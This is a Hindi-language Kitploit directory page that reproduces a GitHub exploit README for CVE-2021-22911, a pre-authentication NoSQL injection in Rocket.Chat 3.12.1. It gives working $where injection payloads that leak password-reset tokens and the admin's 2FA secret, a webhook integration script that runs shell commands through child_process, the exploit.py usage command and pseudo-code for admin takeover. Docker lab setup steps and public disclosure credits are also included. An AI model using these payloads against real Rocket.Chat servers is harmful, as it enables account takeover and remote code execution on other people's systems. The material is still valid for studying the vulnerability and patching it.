Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/mrdottt/cve-2021-22911
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरिमोट एक्सेस टूल
GitHubmrdottt/cve-2021-22911

CVE-2021-22911

CVE-2021-22911 के लिए शोषण: Rocket Chat 3.12.1 में प्री-ऑथ ब्लाइंड NoSQL इंजेक्शन जो खाता अधिग्रहण और वेबहुक स्क्रिप्टिंग के माध्यम से रिमोट कोड निष्पादन को सक्षम करता है।

रिपॉजिटरी देखें
123 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-22911

Pre-Auth Blind NoSQL Injection जो Rocket Chat 3.12.1 में Remote Code Execution की ओर ले जाती है

  • getPasswordPolicy विधि NoSQL इंजेक्शन हमलों के लिए संवेदनशील है और इसके लिए प्रमाणीकरण/प्राधिकरण की आवश्यकता नहीं है। इसका उपयोग पासवर्ड रीसेट टोकन लीक करके खातों पर कब्जा करने के लिए किया जा सकता है। किसी व्यवस्थापक खाते पर कब्जा करने से Remote Code Execution हो जाती है।

व्याख्या

  1. उपयोगकर्ता के खाते का अपहरण (बिना प्रमाणीकरण)
  • getPasswordPolicy एंडपॉइंट में पासवर्ड रीसेट token पैरामीटर में NoSQL इंजेक्शन है, जो JSON ऑब्जेक्ट स्वीकार करता है जिससे हम $regex ऑपरेटर का उपयोग कर सकते हैं। जिसका उपयोग हम रीसेट टोकन प्राप्त करने के लिए ब्लाइंड NoSQL इंजेक्शन करने में करते हैं।
  1. व्यवस्थापक के लिए विशेषाधिकार वृद्धि (प्रमाणित)
  • तो व्यवस्थापक उपयोगकर्ता के 2fa द्वारा संरक्षित होने की सबसे अधिक संभावना है। इसलिए भले ही हम (1) के माध्यम से व्यवस्थापक का पासवर्ड बदल दें, लॉगिन पर 2fa कोड मांगा जाएगा।

  • users.list API एंडपॉइंट query पैरामीटर लेता है जो NoSQL इंजेक्शन के लिए संवेदनशील है। हम त्रुटि फेंककर डेटा पुनर्प्राप्त करने में भी सक्षम हैं।

  • हम व्यवस्थापक का 2fa रहस्य प्राप्त करने के लिए निम्नलिखित क्वेरी चलाते हैं : {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}

  • इसके बाद हम केवल (1) करते हैं व्यवस्थापक का पासवर्ड रीसेट करने के लिए और 2fa रहस्य का उपयोग करके कोड उत्पन्न करते हैं जिसका उपयोग हम लॉगिन करने के लिए कर सकते हैं।

  • अद्यतन : आप उसी तरह से रीसेट टोकन भी प्राप्त कर सकते हैं जैसे आपने 2fa रहस्य प्राप्त किया था : {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}

  1. RCE (प्रमाणित - व्यवस्थापक)
  • Rocket.Chat में इंटीग्रेशन नामक एक सुविधा है जो इनकमिंग और आउटगोइंग वेब हुक बनाने की अनुमति देती है। इन वेब हुकों के साथ स्क्रिप्ट जुड़ी हो सकती हैं जो वेब हुक ट्रिगर होने पर निष्पादित होती हैं।
  • हम निम्नलिखित स्क्रिप्ट के साथ एक इंटीग्रेशन बनाते हैं :
root@kitploit:~
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
  • इसके बाद हम केवल वेब हुक को ट्रिगर करते हैं ताकि RCE प्राप्त हो सके :)

उपयोग

  • आपको एक कम विशेषाधिकार वाले उपयोगकर्ता के ईमेल की आवश्यकता होगी जिसने 2fa सेटअप नहीं किया है। ( -u )
  • आपको व्यवस्थापक ईमेल भी जानना होगा। यदि व्यवस्थापक 2fa से संरक्षित है तो कोई समस्या नहीं है। ( -a )
root@kitploit:~
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"

वातावरण

  • Rocket Chat 3.12.1 पर परीक्षण किया गया
  • डॉकर का उपयोग करके अपना स्वयं का परीक्षण वातावरण बनाना :
root@kitploit:~
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1

  • पासवर्ड नीति सक्षम करें
  • व्यवस्थापक के लिए 2FA सक्षम करें
  • एक सामान्य उपयोगकर्ता पंजीकृत करें।

नोट: यदि आप नहीं चाहते कि व्यवस्थापक 2FA द्वारा संरक्षित हो तो आप निम्न कार्य कर सकते हैं।

  1. फॉरगेट पासवर्ड ईमेल भेजें
  2. व्यवस्थापक के लिए रीसेट टोकन प्राप्त करें
  3. प्राप्त रीसेट टोकन का उपयोग करके पासवर्ड बदलें
root@kitploit:~
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)

श्रेय

  • https://hackerone.com/reports/1130721 ( स्रोत सोनार )
  • https://blog.sonarsource.com/nosql-injections-in-rocket-chat

एक्सप्लॉइट-डीबी

  • https://www.exploit-db.com/exploits/49960 ( v1 )
  • https://www.exploit-db.com/exploits/50108 ( v2 )
टूल डाउनलोड करें